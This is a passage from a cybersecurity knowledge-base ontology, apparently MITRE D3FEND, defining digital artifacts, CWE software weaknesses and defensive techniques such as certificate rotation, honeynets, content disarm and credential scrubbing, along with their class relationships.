kb-article: ## References ANN Classification. [Link](http://uc-r.github.io/ann_classification).
subclass of: Classification

Asymmetric Key
type: Class
definition: Asymmetric keys are public and private keys, paired such that asymmetric (public-key) cryptography algorithms can be implemented using them. Public-key cryptography, or asymmetric cryptography, is any cryptographic system that uses pairs of keys: public keys that may be disseminated widely paired with private keys which are known only to the owner. There are two functions that can be achieved: using a public key to authenticate that a message originated with a holder of the paired private key; or encrypting a message with a public key to ensure that only the holder of the paired private key can decrypt it.
subclass of: CryptographicKey

Audio Input Device
type: Class
type: NamedIndividual
definition: Audio input devices allow a user to send audio info to a computer for processing, recording, or carrying out commands. Devices such as microphones allow users to speak to the computer in order to record a voice message or navigate software. Aside from recording, audio input devices are also used with speech recognition software.
subclass of: InputDevice

Authentication Service Application
type: Class
type: NamedIndividual
definition: A software application designed to verify the identity of users or devices.
instructs: AuthenticationService
subclass of: Restriction
  on property: instructs
  some values from: AuthenticationService
subclass of: ServiceApplication

Authorization Service
type: Class
definition: An authorization service ensures that the user is authorized to have access to a particular resource. Authorization can be done through role-based access control (RBAC) or list-based access control (LBAC).
subclass of: NetworkService
subclass of: ServiceApplicationProcess

Average Absolute Deviation
type: Class
type: NamedIndividual
d3fend-id: D3A-AAD
definition: The average absolute deviation (AAD) of a data set is the average of the absolute deviations from a central point.
kb-article: ## References Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)
subclass of: Variability

Bayesian Method
type: Class
type: NamedIndividual
d3fend-id: D3A-BM
definition: Bayesian analysis is a statistical procedure which endeavors to estimate parameters of an underlying distribution based on the observed distribution.
kb-article: ## References Wolfram MathWorld. (n.d.). Bayesian Analysis. [Link](https://mathworld.wolfram.com/BayesianAnalysis.html)
subclass of: StatisticalMethod

Binary Segment
type: Class
definition: A binary segment is a partition of binary information within a larger binary object, which arranges a set of binary objects for its purpose. For example, code, data, heap, and stack segments are segments of the binary information used by a process. Code and data segments are also found in object files.
subclass of: DigitalInformationBearer

Bitmap Image
type: Class
type: NamedIndividual
definition: A graphical image whose data is stored in a grid format.
subclass of: Digital Image

Block Device
type: Class
type: NamedIndividual
contains: BootSector
contains: Partition
contains: PartitionTable
definition: A block device (or block special file) provides buffered access to hardware devices, and provides some abstraction from their specifics. IEEE Std 1003.1-2017: A file that refers to a device. A block special file is normally distinguished from a character special file by providing access to the device in a manner such that the hardware characteristics of the device are not visible.
may-contain: Volume
subclass of: Restriction
  on property: contains
  some values from: BootSector
subclass of: Restriction
  on property: contains
  some values from: PartitionTable
subclass of: Restriction
  on property: contains
  some values from: Partition
subclass of: Restriction
  on property: may-contain
  some values from: Volume
subclass of: DigitalInformationBearer
alternative label: Block Special File

Book Reference
type: Class
pref-label: Book
subclass of: TechniqueReference

Browser
type: Class
type: NamedIndividual
definition: A web browser (commonly referred to as a browser) is a software application for retrieving, presenting, and traversing information resources on the World Wide Web. An information resource is identified by a Uniform Resource Identifier (URI/URL) and may be a web page, image, video or other piece of content. Hyperlinks present in resources enable users easily to navigate their browsers to related resources. Although browsers are primarily intended to use the World Wide Web, they can also be used to access information provided by web servers in private networks or files in file systems.
may-contain: BrowserExtension
subclass of: Restriction
  on property: may-contain
  some values from: BrowserExtension
subclass of: UserApplication

Build Tool
type: Class
definition: A tool that automates the process of creating a software build and the associated processes including: compiling computer source code into binary code, packaging binary code, and running automated tests.
subclass of: DeveloperApplication
alternative label: Build Automation Tool

Bus Message
type: Class
type: NamedIndividual
definition: A digital message potentially containing commands, telemetry, or status signals, encoded in a bus protocol and conveyed over a bus within one or more frames.
subclass of: DigitalMessage

Bus Network
type: Class
type: NamedIndividual
definition: An electronic communication system that links multiple components through one shared transmission medium, together with the interface hardware and link-layer signalling that govern access to that medium.
subclass of: Network
alternative label: Bus
alternative label: Data Highway

Bus Network Frame
type: Class
type: NamedIndividual
contained-by: BusNetworkTraffic
contains: Bus Message
definition: A network frame whose layout and timing follow a bus protocol, allowing data to be exchanged across the shared bus medium.
subclass of: Restriction
  on property: contained-by
  some values from: BusNetworkTraffic
subclass of: Restriction
  on property: contains
  some values from: Bus Message
subclass of: Network Frame
alternative label: Bus Frame

Comparison Using Wrong Factors
type: Class
cwe-id: CWE-1025
definition: The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.
subclass of: CWE-697

Insecure Automated Optimizations
type: Class
cwe-id: CWE-1038
definition: The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.
subclass of: CWE-435
subclass of: CWE-758

Empty Code Block
type: Class
cwe-id: CWE-1071
definition: The source code contains a block that does not contain any code, i.e., the block is empty.
subclass of: CWE-1164

Use of Prohibited Code
type: Class
cwe-id: CWE-1177
definition: The product uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.
subclass of: CWE-710

Exposure of Sensitive Information Through Metadata
type: Class
cwe-id: CWE-1230
definition: The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.
subclass of: CWE-285

Out-of-bounds Read
type: Class
type: NamedIndividual
cwe-id: CWE-125
definition: The product reads data past the end, or before the beginning, of the intended buffer.
synonym: OOB read
weakness-of: RawMemoryAccessFunction
subclass of: Restriction
  on property: weakness-of
  some values from: RawMemoryAccessFunction
subclass of: CWE-119

Improper Preservation of Consistency Between Independent Representations of Shared State
type: Class
cwe-id: CWE-1250
definition: The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.
subclass of: CWE-664

Improper Validation of Specified Quantity in Input
type: Class
cwe-id: CWE-1284
definition: The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.
subclass of: CWE-20

Improper Validation of Specified Index, Position, or Offset in Input
type: Class
cwe-id: CWE-1285
definition: The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.
subclass of: CWE-20

Reliance on Component That is Not Updateable
type: Class
cwe-id: CWE-1329
definition: The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.
subclass of: Reliance on Insufficiently Trustworthy Component
subclass of: CWE-664

Reliance on Insufficiently Trustworthy Component
type: Class
cwe-id: CWE-1357
definition: The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
subclass of: CWE-710

Use of Default Credentials
type: Class
cwe-id: CWE-1392
definition: The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality.
subclass of: CWE-1391

Improper Neutralization of Leading Special Elements
type: Class
cwe-id: CWE-160
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Multiple Trailing Special Elements
type: Class
cwe-id: CWE-163
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
subclass of: CWE-162

Improper Neutralization of Multiple Internal Special Elements
type: Class
cwe-id: CWE-165
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
subclass of: Improper Neutralization of Internal Special Elements

Incorrect Behavior Order: Early Validation
type: Class
cwe-id: CWE-179
definition: The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
subclass of: CWE-20
subclass of: CWE-696

Incorrect Regular Expression
type: Class
cwe-id: CWE-185
definition: The product specifies a regular expression in a way that causes data to be improperly matched or compared.
subclass of: CWE-697

Observable Behavioral Discrepancy
type: Class
cwe-id: CWE-205
definition: The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.
subclass of: CWE-203

Improper Removal of Sensitive Information Before Storage or Transfer
type: Class
cwe-id: CWE-212
definition: The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
subclass of: CWE-669

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
type: Class
type: NamedIndividual
cwe-id: CWE-22
definition: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
synonym: Directory traversal
synonym: Path traversal
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: CWE-668
subclass of: CWE-706

Omission of Security-relevant Information
type: Class
cwe-id: CWE-223
definition: The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
subclass of: CWE-221

Privilege Dropping / Lowering Errors
type: Class
cwe-id: CWE-271
definition: The product does not drop privileges before passing control of a resource to an actor that does not have those privileges.
subclass of: CWE-269

Improper Ownership Management
type: Class
cwe-id: CWE-282
definition: The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
subclass of: CWE-284

Authentication Bypass Using an Alternate Path or Channel
type: Class
cwe-id: CWE-288
definition: The product requires authentication, but the product has an alternate path or channel that does not require authentication.
subclass of: Missing Authentication for Critical Function

Missing Authentication for Critical Function
type: Class
cwe-id: CWE-306
definition: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
subclass of: CWE-287

Missing Encryption of Sensitive Data
type: Class
cwe-id: CWE-311
definition: The product does not encrypt sensitive or critical information before storage or transmission.
subclass of: CWE-693

Insufficient Entropy
type: Class
cwe-id: CWE-331
definition: The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
subclass of: CWE-330

Origin Validation Error
type: Class
cwe-id: CWE-346
definition: The product does not properly verify that the source of data or communication is valid.
subclass of: CWE-284
subclass of: CWE-345

Insecure Temporary File
type: Class
cwe-id: CWE-377
definition: Creating and using insecure temporary files can leave application and system data vulnerable to attack.
subclass of: CWE-668

Transmission of Private Resources into a New Sphere ('Resource Leak')
type: Class
cwe-id: CWE-402
definition: The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product.
synonym: Resource Leak
subclass of: CWE-668

Unintended Proxy or Intermediary ('Confused Deputy')
type: Class
cwe-id: CWE-441
definition: The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
synonym: Confused Deputy
subclass of: CWE-610

User Interface (UI) Misrepresentation of Critical Information
type: Class
cwe-id: CWE-451
definition: The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
subclass of: CWE-221
subclass of: CWE-684

Exposure of Sensitive System Information to an Unauthorized Control Sphere
type: Class
cwe-id: CWE-497
definition: The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.
subclass of: CWE-200

Trojan Horse
type: Class
cwe-id: CWE-507
definition: The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.
subclass of: CWE-506

Covert Channel
type: Class
cwe-id: CWE-514
definition: A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.
subclass of: Creation of Emergent Resource

Client-Side Enforcement of Server-Side Security
type: Class
cwe-id: CWE-602
definition: The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
subclass of: CWE-693

Improper Isolation or Compartmentalization
type: Class
cwe-id: CWE-653
definition: The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.
synonym: Separation of Privilege
subclass of: CWE-657
subclass of: CWE-693

Reliance on a Single Factor in a Security Decision
type: Class
cwe-id: CWE-654
definition: A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.
synonym: Separation of Privilege
subclass of: CWE-657
subclass of: CWE-693

Use of a Non-reentrant Function in a Concurrent Context
type: Class
cwe-id: CWE-663
definition: The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.
subclass of: CWE-662

Lack of Administrator Control over Security
type: Class
cwe-id: CWE-671
definition: The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.
subclass of: CWE-657

Use of Multiple Resources with Duplicate Identifier
type: Class
cwe-id: CWE-694
definition: The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.
subclass of: CWE-573
subclass of: CWE-99

Exposed Dangerous Method or Function
type: Class
cwe-id: CWE-749
definition: The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
subclass of: CWE-284

Missing Custom Error Page
type: Class
cwe-id: CWE-756
definition: The product does not return custom error pages to the user, possibly exposing sensitive information.
subclass of: CWE-755

Release of Invalid Pointer or Reference
type: Class
cwe-id: CWE-763
definition: The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.
subclass of: CWE-404

Access of Memory Location Before Start of Buffer
type: Class
cwe-id: CWE-786
definition: The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
subclass of: CWE-119

Incomplete Filtering of Special Elements
type: Class
cwe-id: CWE-791
definition: The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.
subclass of: Improper Filtering of Special Elements

Incomplete Filtering of One or More Instances of Special Elements
type: Class
cwe-id: CWE-792
definition: The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.
subclass of: Incomplete Filtering of Special Elements

Only Filtering Special Elements at a Specified Location
type: Class
cwe-id: CWE-795
definition: The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.
subclass of: Incomplete Filtering of Special Elements

Improper Control of Interaction Frequency
type: Class
cwe-id: CWE-799
definition: The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.
synonym: Brute force
synonym: Insufficient anti-automation
subclass of: CWE-691

Expired Pointer Dereference
type: Class
type: NamedIndividual
cwe-id: CWE-825
definition: The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
synonym: Dangling pointer
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: CWE-119
subclass of: CWE-672

Missing Initialization of Resource
type: Class
cwe-id: CWE-909
definition: The product does not initialize a critical resource.
subclass of: CWE-665

XML Injection (aka Blind XPath Injection)
type: Class
cwe-id: CWE-91
definition: The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
subclass of: CWE-74

Hidden Functionality
type: Class
cwe-id: CWE-912
definition: The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.
subclass of: CWE-684

Improper Control of Dynamically-Identified Variables
type: Class
cwe-id: CWE-914
definition: The product does not properly restrict reading from or writing to dynamically-identified variables.
subclass of: CWE-913
subclass of: CWE-99

Use of Password Hash With Insufficient Computational Effort
type: Class
cwe-id: CWE-916
definition: The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.
subclass of: CWE-327
subclass of: Use of Weak Hash

Insecure Storage of Sensitive Information
type: Class
cwe-id: CWE-922
definition: The product stores sensitive information without properly limiting read or write access by unauthorized actors.
subclass of: CWE-664

Call Stack
type: Class
type: NamedIndividual
contains: StackFrame
definition: In computer science, a call stack is a stack data structure that stores information about the active subroutines of a computer program. This kind of stack is also known as an execution stack, program stack, control stack, run-time stack, or machine stack, and is often shortened to just "the stack". Although maintenance of the call stack is important for the proper functioning of most software, the details are normally hidden and automatic in high-level programming languages. Many computer instruction sets provide special instructions for manipulating stacks.
subclass of: Restriction
  on property: contains
  some values from: StackFrame
subclass of: DigitalInformationBearer

Certificate Rotation
type: Class
type: NamedIndividual
d3fend-id: D3-CERO
definition: Certificate rotation involves replacing digital certificates and their private keys to maintain cryptographic integrity and trust, mitigating key compromise risks and ensuring continuous secure communications.
kb-article: ## How it works Certificate rotation should be performed when: - Any certificate expires. - A new CA authority is substituted for the old, thus requiring a replacement root certificate. - New or modified constraints need to be imposed on one or more certificates. - A security breach has occurred. Considerations: - Managing certificate rotation across an enterprise can be complex. Automated solutions, sold by multiple vendors, should be considered to manage this complexity.
kb-reference: Reference-PasswordandKeyRotation-SSH
regenerates: Certificate
subclass of: Restriction
  on property: regenerates
  some values from: Certificate
subclass of: CredentialRotation

Certificate Trust Store
type: Class
type: NamedIndividual
contains: Certificate
definition: A certificate truststore is used to store public certificates used to authenticate clients by the server for an SSL connection.
subclass of: Restriction
  on property: contains
  some values from: Certificate
subclass of: Trust Store

Client-server Payload Profiling
type: Class
type: NamedIndividual
analyzes: NetworkTraffic
d3fend-id: D3-CSPP
definition: Comparing client-server request and response payloads to a baseline profile to identify outliers.
kb-article: ## How it works Profiling request and response payloads across multiple clients to a single server to develop a baseline of their characteristics. May take into account request/response sizes, entropy, frequency, and rhythm. Finally, identify outliers as they may indicate a malicious payload delivery and subsequent server exploitation. ## Considerations * Collecting metrics to establish a profile can be challenging since user behavior can change easily. * Employees may work different hours or inconsistent schedules which will cause false positives. * Collection of network activity to generate metrics is a computationally intensive process. * Users may log into different workstations which may cause false positives.
kb-reference: Reference - Method and system for detecting malicious payloads - Vectra Networks Inc
subclass of: Restriction
  on property: analyzes
  some values from: NetworkTraffic
subclass of: NetworkTrafficAnalysis

Client Application
type: Class
type: NamedIndividual
definition: A client application is software that accesses a service made available by a server. The server is often (but not always) on another computer system, in which case the client accesses the service by way of a network. The term applies to the role that programs or devices play in the client-server model
subclass of: Application

Clipboard
type: Class
type: NamedIndividual
definition: The clipboard is a buffer that some operating systems provide for short-term storage and transfer within and between application programs. The clipboard is usually temporary and unnamed, and its contents reside in the computer's RAM. The clipboard is sometimes called the paste buffer. Windows, Linux and macOS support a single clipboard transaction. Each cut or copy overwrites the previous contents. Normally, paste operations copy the contents, leaving the contents available in the clipboard for further pasting.
subclass of: DigitalInformationBearer

Cloud Instance Metadata
type: Class
type: NamedIndividual
definition: Cloud instance metadata is configuration information on the instance and users of the instance. This includes such information as security groups, public ip addresses, and private addresses, public keys configured, and event rotating security keys. User data can contain initialization scripts, variables, passwords, and more.
subclass of: CloudConfiguration

Cloud Service Authentication
type: Class
type: NamedIndividual
definition: A request-response comprising a user credential presentation to a system and a verification response where the verifying party is a cloud service.
subclass of: Web Authentication

Cloud Service Authorization
type: Class
type: NamedIndividual
definition: Cloud authorization is the function of specifying access rights to cloud resources.
subclass of: Authorization

Cloud Service Provider
type: Class
type: NamedIndividual
definition: A cloud service provider delivers scalable and distributed computing resources over a network, enabling clients to access infrastructure, platforms, and applications remotely.
subclass of: Service Provider

Code Repository
type: Class
type: NamedIndividual
definition: A code repository is a form of database where code, typically source code, is stored and managed. In revision control systems, a repository is a data structure that stores metadata for a set of files or directory structure. Depending on whether the version control system in use is distributed like (Git or Mercurial) or centralized like (Subversion, CVS, or Perforce), the whole set of information in the repository may be duplicated on every user's system or may be maintained on a single server.
subclass of: Database
alternative label: Repository
alternative label: Version Control Repository

Codec Application
type: Class
type: NamedIndividual
contains: Codec Library
definition: An application that encodes and decodes digital data.
subclass of: Restriction
  on property: contains
  some values from: Codec Library
subclass of: UserApplication

Codec Library
type: Class
type: NamedIndividual
definition: A software component that encodes or decodes a data stream of signal.
subclass of: Software Library

Command History Log File
type: Class
type: NamedIndividual
contains: CommandHistoryLog
definition: A command history log file is a file containing a command history, which the history of commands run in an operating system shell.
subclass of: Restriction
  on property: contains
  some values from: CommandHistoryLog
subclass of: LogFile

Common Attack Pattern
type: Class
definition: A common attack pattern that is in the CAPEC knowledge base.
subclass of: CAPEC Thing

Compiler
type: Class
type: NamedIndividual
definition: In computing, a compiler is a computer program that translates computer code written in one programming language (the source language) into another language (the target language). The name "compiler" is primarily used for programs that translate source code from a high-level programming language to a lower level language (e.g., assembly language, object code, or machine code) to create an executable program.
reads: CompilerConfigurationFile
subclass of: Restriction
  on property: reads
  some values from: CompilerConfigurationFile
subclass of: Build Tool

Configuration Database
type: Class
type: NamedIndividual
contains: ConfigurationDatabaseRecord
subclass of: Restriction
  on property: contains
  some values from: ConfigurationDatabaseRecord
subclass of: ConfigurationResource

Connect Socket
type: Class
type: NamedIndividual
connects: Pipe
definition: The connect socket system call connects the socket to a target address.
subclass of: Restriction
  on property: connects
  some values from: Pipe
subclass of: SystemCall

Connected Honeynet
type: Class
type: NamedIndividual
d3fend-id: D3-CHN
definition: A decoy service, system, or environment, that is connected to the enterprise network, and simulates or emulates certain functionality to the network, without exposing full access to a production system.
kb-article: ## How it works Decoy honeypots are deployed within the enterprise environment that emulate certain services or portions of an OS to attract attackers. ## Considerations A connected honeynet provides a tradeoff between emulating certain functionality but not being as sophisticated as an integrated honeynet. The connected honeynet may not provide enough functionality to detect new attack patterns or zero day exploits but could provide enough functionality for specific known vulnerabilities.
kb-reference: Reference - Modification of a Server to Mimic a Deception Mechanism - Acalvio Technologies Inc
spoofs: LocalAreaNetwork
subclass of: Restriction
  on property: spoofs
  some values from: LocalAreaNetwork
subclass of: DecoyEnvironment

Connection Attempt Analysis
type: Class
type: NamedIndividual
analyzes: IntranetNetworkTraffic
d3fend-id: D3-CAA
definition: Analyzing failed connections in a network to detect unauthorized activity.
kb-article: ## How it works Connection Attempt Analysis in multiple ways. ### Monitoring traffic to unallocated IP space One approach looks for failed connection attempts against unallocated IP space. First, network traffic is captured to map out the network to identify network assets as well as unallocated IP space. The map is then used to determine if connection attempts are being made to the unallocated IP space. ### Monitoring for sequentially transmitted traffic Another approach passively inspects network traffic with application protocol analyzers observing network activity characteristics such as volume of packets sent/ received, TCP session attributes, and connection information between hosts (start time, source/destination host, services, etc.). Then using pattern matching to identify traffic which appears to be probing for network hosts. ## Considerations * Implementations that rely on analysis of unallocated IP address space increase in their complexity with network size and decentralized network infrastructure. * Inventory of unallocated IP space should should be continuously updated to mitigate the risk of false positives. * IPv6 also introduces challenges including IPv6 traffic bypassing IPv4 specific protection systems (ex. firewalls and IDS) and complexity in managing both IPv6 and IPv4 addresses.
kb-reference: Reference - Detecting network reconnaissance by tracking intranet dark-net communications - VECTRA NETWORKS Inc
synonym: Network Scan Detection
subclass of: Restriction
  on property: analyzes
  some values from: IntranetNetworkTraffic
subclass of: NetworkTrafficAnalysis

Container Image Analysis
type: Class
type: NamedIndividual
analyzes: ContainerImage
d3fend-id: D3-CIA
definition: Analyzing a Container Image with respect to a set of policies.
kb-article: ## How it works Container images are standalone collections of the executable code and content that are used to populate a container environment. They are usually created by either building a container from scratch or by building on top of an existing image pulled from a repository. Throughout the container build workflow, images should be scanned to identify: - outdated libraries, - known vulnerabilities, - or misconfigurations, such as insecure ports or permissions. Scanning should also provide the flexibility to disregard false positives for vulnerability detection where knowledgeable cybersecurity professionals have deemed alerts to be inaccurate. One approach to implementing image scanning is to use an admission controller to block deployments if the image does not comply with the organization's security policies. An admission controller is a Container Orchestration feature that can intercept and process requests to the Container Orchestration API prior to persistence of the object, but after the request is authenticated and authorized. A webhook can be implemented to scan any image before it is deployed in the orchestrator. This admission controller ## Considerations * Image scanning is key to ensuring deployed containers are secure. * Using trusted repositories to build containers is a critical part of the container build workflow. * This technique does not necessarly prevent the build process to add insecure or unsecured files to the Image.
kb-reference: Reference - Container Image Analysis
synonym: Container Image Scanning
subclass of: Restriction
  on property: analyzes
  some values from: ContainerImage
subclass of: AssetVulnerabilityEnumeration

Container Orchestration Software
type: Class
type: NamedIndividual
definition: A d3f:Software which manages and coordinates running one or more d3f:ContainerProcess.
manages: ContainerProcess
subclass of: Restriction
  on property: manages
  some values from: ContainerProcess
subclass of: ServiceApplication

Content Excision
type: Class
type: NamedIndividual
d3fend-id: D3-CNE
definition: Removing specific, potentially malicious, parts of content
kb-article: ## How it works If malicious or unecessary elements is discovered within the content, or if a specific embedded portion does not comply with policy, it may be removed to ensure safety.
kb-reference: Reference-MethodForContentDisarmandReconstruction OPSWATInc
subclass of: ContentModification

Content Format Conversion
type: Class
type: NamedIndividual
d3fend-id: D3-CFC
definition: Content format conversion is mechanical transformation from one format to another which may be normalization or specifically flattening.
kb-article: ## How it works This technique may enhance security by transforming files into safer or normalized formats.
kb-reference: Reference-MethodForContentDisarmandReconstruction OPSWATInc
subclass of: ContentModification

Content Policy
type: Class
type: NamedIndividual
definition: A set of rules and guidelines that dictate the acceptable use, distribution, and management of digital content within a system or platform. It defines what content is allowed, restricted, or prohibited, ensuring compliance with legal, ethical, and organizational standards.
subclass of: DigitalInformationBearer

Content Rebuild
type: Class
type: NamedIndividual
d3fend-id: D3-CNR
definition: Rebuild the file according to the spec so any unreferenced components or objects are removed.
kb-article: ## How it works If inputted content is divided up into components for further scrutiny, the components may be combined back afterwards in a safer state.
kb-reference: Reference-MethodForContentDisarmandReconstruction OPSWATInc
synonym: Content Reconstruction
subclass of: ContentModification

Content Substitution
type: Class
type: NamedIndividual
d3fend-id: D3-CNS
definition: Modifies specific digital content information by replacing it with something else.
kb-article: ## How it works If malicious or unecessary elements is discovered within the content, or if a specific embedded portion does not comply with policy, it may be replaced with alternatives to ensure safety.
kb-reference: Reference-MethodForContentDisarmandReconstruction OPSWATInc
subclass of: ContentModification

Control Correlation Identifier Catalog
type: Class
definition: A control correlation identifier (CCI) catalog provides a catalog of CCIs for a given release date.
subclass of: Restriction
  on property: has-member
  some values from: CCIControl
subclass of: ControlCatalog

Convolutional Neural Network
type: Class
type: NamedIndividual
d3fend-id: D3A-CNN
definition: A class of artificial neural network most commonly applied to analyze visual imagery.CNNs use a mathematical operation called convolution in place of general matrix multiplication in at least one of their layers.
kb-article: ## References Wikipedia. (n.d.). Convolutional neural network. [Link](https://en.wikipedia.org/wiki/Convolutional_neural_network)
subclass of: Deep Neural Network Classification

Credential Management System
type: Class
type: NamedIndividual
definition: Credential Management, also referred to as a Credential Management System (CMS), is an established form of software that is used for issuing and managing credentials as part of public key infrastructure (PKI).
manages: Credential
subclass of: Restriction
  on property: manages
  some values from: Credential
subclass of: ServiceApplication

Credential Revocation
type: Class
type: NamedIndividual
d3fend-id: D3-CR
definition: Deleting a set of credentials permanently to prevent them from being used to authenticate.
deletes: Credential
kb-article: ## How it works Management servers with enterprise policies for account management provide the ability remove permissions, accounts, or credentials. Compromised credentials should be revoked to prevent further malicious activity.
kb-reference: Reference - Revoke a previously issued verifiable credential - Microsoft
subclass of: Restriction
  on property: deletes
  some values from: Credential
subclass of: CredentialEviction

Credential Scrubbing
type: Class
type: NamedIndividual
d3fend-id: D3-CS
definition: The systematic removal of hard-coded credentials from source code to prevent accidental exposure and unauthorized access.
hardens: Subroutine
kb-article: ## How it Works Credential Scrubbing involves identifying and eliminating hard-coded credentials such as usernames, passwords, API keys, and tokens from source code repositories. These credentials should be managed securely using environment variables, secret management tools, or secure vaults where they can be safely accessed when needed. ## Considerations * Developers should conduct regular audits of source code to ensure credentials are not hard-coded. * Exposed credentials found in version control history must be disabled and replaced promptly. * Adopt role-based access controls and credential rotation policies to minimize security risks.
kb-reference: Secrets Management Cheat Sheet
subclass of: Restriction
  on property: hardens
  some values from: Subroutine
subclass of: SourceCodeHardening

Credential Transmission Scoping
type: Class
type: NamedIndividual
d3fend-id: D3-CTS
definition: Limiting the transmission of a credential to a scoped set of relying parties.
isolates: Credential
synonym: Phishing Resistant Authentication
subclass of: Restriction
  on property: isolates
  some values from: Credential
subclass of: AccessMediation

Custom Archive File
type: Class
type: NamedIndividual
definition: A custom archive file is an archive file conforming to a custom format; that is, an archive file that does not conform to a common standard.
subclass of: ArchiveFile

Cyber Action
type: Class
subclass of: Action

DHCP Ack Event
type: Class
definition: An event where a DHCP server sends an ACK message to acknowledge a client's REQUEST, confirming the allocation of an IP address and associated network settings.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Request Event
subclass of: DHCPEvent
alternative label: DHCPACK

DHCP Request Event
type: Class
definition: An event where a DHCP client sends a REQUEST message to confirm or renew its desired IP configuration with a specific DHCP server.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Offer Event
subclass of: DHCPEvent
alternative label: DHCPREQUEST

DHCP Service Application
type: Class
type: NamedIndividual
definition: An application that automates the assignment of IP addresses and other network configuration parameters to devices on a network
instructs: DHCPService
subclass of: Restriction
  on property: instructs
  some values from: DHCPService
subclass of: ServiceApplication

DNS Cache Eviction
type: Class
type: NamedIndividual
d3fend-id: D3-DNSCE
definition: Flushing DNS to clear any IP addresses or other DNS records from the cache.
deletes: DNS Record
kb-article: # How it works Flushing the DNS Cache will clear the IP addresses of websites you have visited recently. This can help remediate DNS Cache Poisoning attacks, which is a type of cyber attack where corrupted DNS data is inserted into the cache, causing redirects to malicious websites. On windows, the DNS cache can be wiped by issuing the command `ipconfig /flushdns`.
synonym: Flush DNS Cache
subclass of: Restriction
  on property: deletes
  some values from: DNS Record
subclass of: ObjectEviction

DNS Event
type: Class
definition: An event involving the Domain Name System (DNS), which translates domain names to IP addresses and operates over UDP and TCP.
subclass of: Class
  union of: TCPEvent
  union of: UDPEvent
subclass of: Restriction
  on property: has-participant
  some values from: DNSNetworkTraffic
subclass of: ApplicationLayerEvent

DNS Record
type: Class
type: NamedIndividual
